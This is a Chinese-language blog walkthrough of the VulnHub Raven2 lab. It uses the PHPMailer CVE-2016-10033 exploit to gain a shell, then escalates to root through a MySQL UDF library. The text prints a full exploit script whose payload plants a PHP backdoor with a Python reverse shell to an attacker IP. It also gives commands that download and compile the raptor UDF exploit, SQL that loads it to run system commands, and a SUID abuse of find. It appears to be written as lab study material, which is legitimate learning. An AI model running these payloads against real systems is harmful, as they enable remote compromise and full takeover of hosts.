MENU

MYSQL-UDF提权(CVE-2016-6662)

February 6, 2022 • Read: 504 • Penetration testing

0x00前言

后面发现图床失效了 我去找了一些其他师傅的图
也是在一个靶机发现的,所以想来了解一下,后面有机会专门学习一下mysql提权相关漏洞

0x01漏洞原理

udf(user defined funtion),用户自定义函数。顾名思义,通过让用户自定义函数,来对mysql的功能进行扩充。udf提权将构造好的udf文件上传到指定目录(mysql<5.1,放置于c:windowssystem32目录。mysql>5.1,放置于mysql安装目录下的libplugin目录下,此文件夹默认不存在,需要自己创建),然后创建自定义函数,执行命令。

这篇文章进行了原理分析:https://iassas.com/archives/438a17c4.html

0x02环境利用

2.1靶机搭建

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova
下载好后用vm打开即可

2.2信息收集

O7[ZLFE0)V{27MLK~@9Q4MH.png

直接访问80端口
MVSVKFNX[(<code>GE</code>_Y)R2_8SO.png

没啥发现,扫一下目录
4K4G~Y0M)`_IQX1$LRB2$BR.png

有个备份文件,但是没啥用,然后在vendor目录找到很多东西
V)Z%0R4F0}QF~9IVA~S0J[S.png

找到第一个flag,同时网站的默认目录依旧是/var/www/html

在version里面发现php版本为5.2.16

CVE 2016-10033提权利用

然后在SECURITY.md

发现满足这个版本的漏洞CVE-2016-10033
去了解了一下这个漏洞,发现是关于WordPress的一个漏洞
我们直接msf搜下利用的exp
5}4NFDGM}BBGEN8GZ)}6O`L.png

把主要代码拿出来修改运行

# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033
# -*- coding: utf-8 -*-




from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh

os.system('clear')

target = 'http://192.168.205.130/contact.php'
backdoor = '/backdoor.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.205.131\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
        'name': payload,
        'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/m1.php server\" @protonmail.com',
        'message': 'Pwned'}

m = MultipartEncoder(fields=fields,
                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',
         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}


print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
                  headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
    print('[+]  ExPLoITeD ' + target)

运行成功之后,访问我们的后门文件,本地监听即可

成功弹成功,python2弹个交互shell

python -c'import pty;pty.spawn("/bin/bash")'

falg2在网站目录下,flag3是一张图片,这里就不贴图了
因为我们是学习mysql的udf提权,所以这里直奔主题

UDF提权

然后在wp-config.php中找到数据库账号密码
%RAII`4E85UG)EAXX01BO1N.png

我们来看看mysql的运行权限

ps -ef|grep mysql

daskdjlasdlasdasdka.png

发现是root权限,我们直接找udf提权的exp就行

wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o  raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so eseudf.so

然后编译好上传进行提权就行

scp kali@192.168.205.131:/home/kali/Desktop/CVE-2016-6662/eseudf.so /tmp

然后进行提权准备

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values(load_file('/tmp/eseudf.so'));
insert into foo values(load_file('/tmp/eseudf.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/eseudf.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function do_system returns integer soname 'eseudf.so';
create function do_system returns integer soname 'eseudf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name      | ret | dl        | type     |
+-----------+-----+-----------+----------+
| do_system |   2 | eseudf.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> exit;

出来之后直接提权就行

find / -exec "/bin/sh" \;

成功通关
dsaod;kasmdljasbdasada.png

修复建议

  1. 确保MySQL配置文件不在mysql用户手中,并建立root权限、不使用的、伪装的my.cnf文件
  2. 目前厂商已经发布了升级补丁以修复此安全问题,下载补丁修补

参考连接

参考链接一
参考链接二
参考链接三

Last Modified: March 4, 2022
Archives Tip
QR Code for this page
Tipping QR Code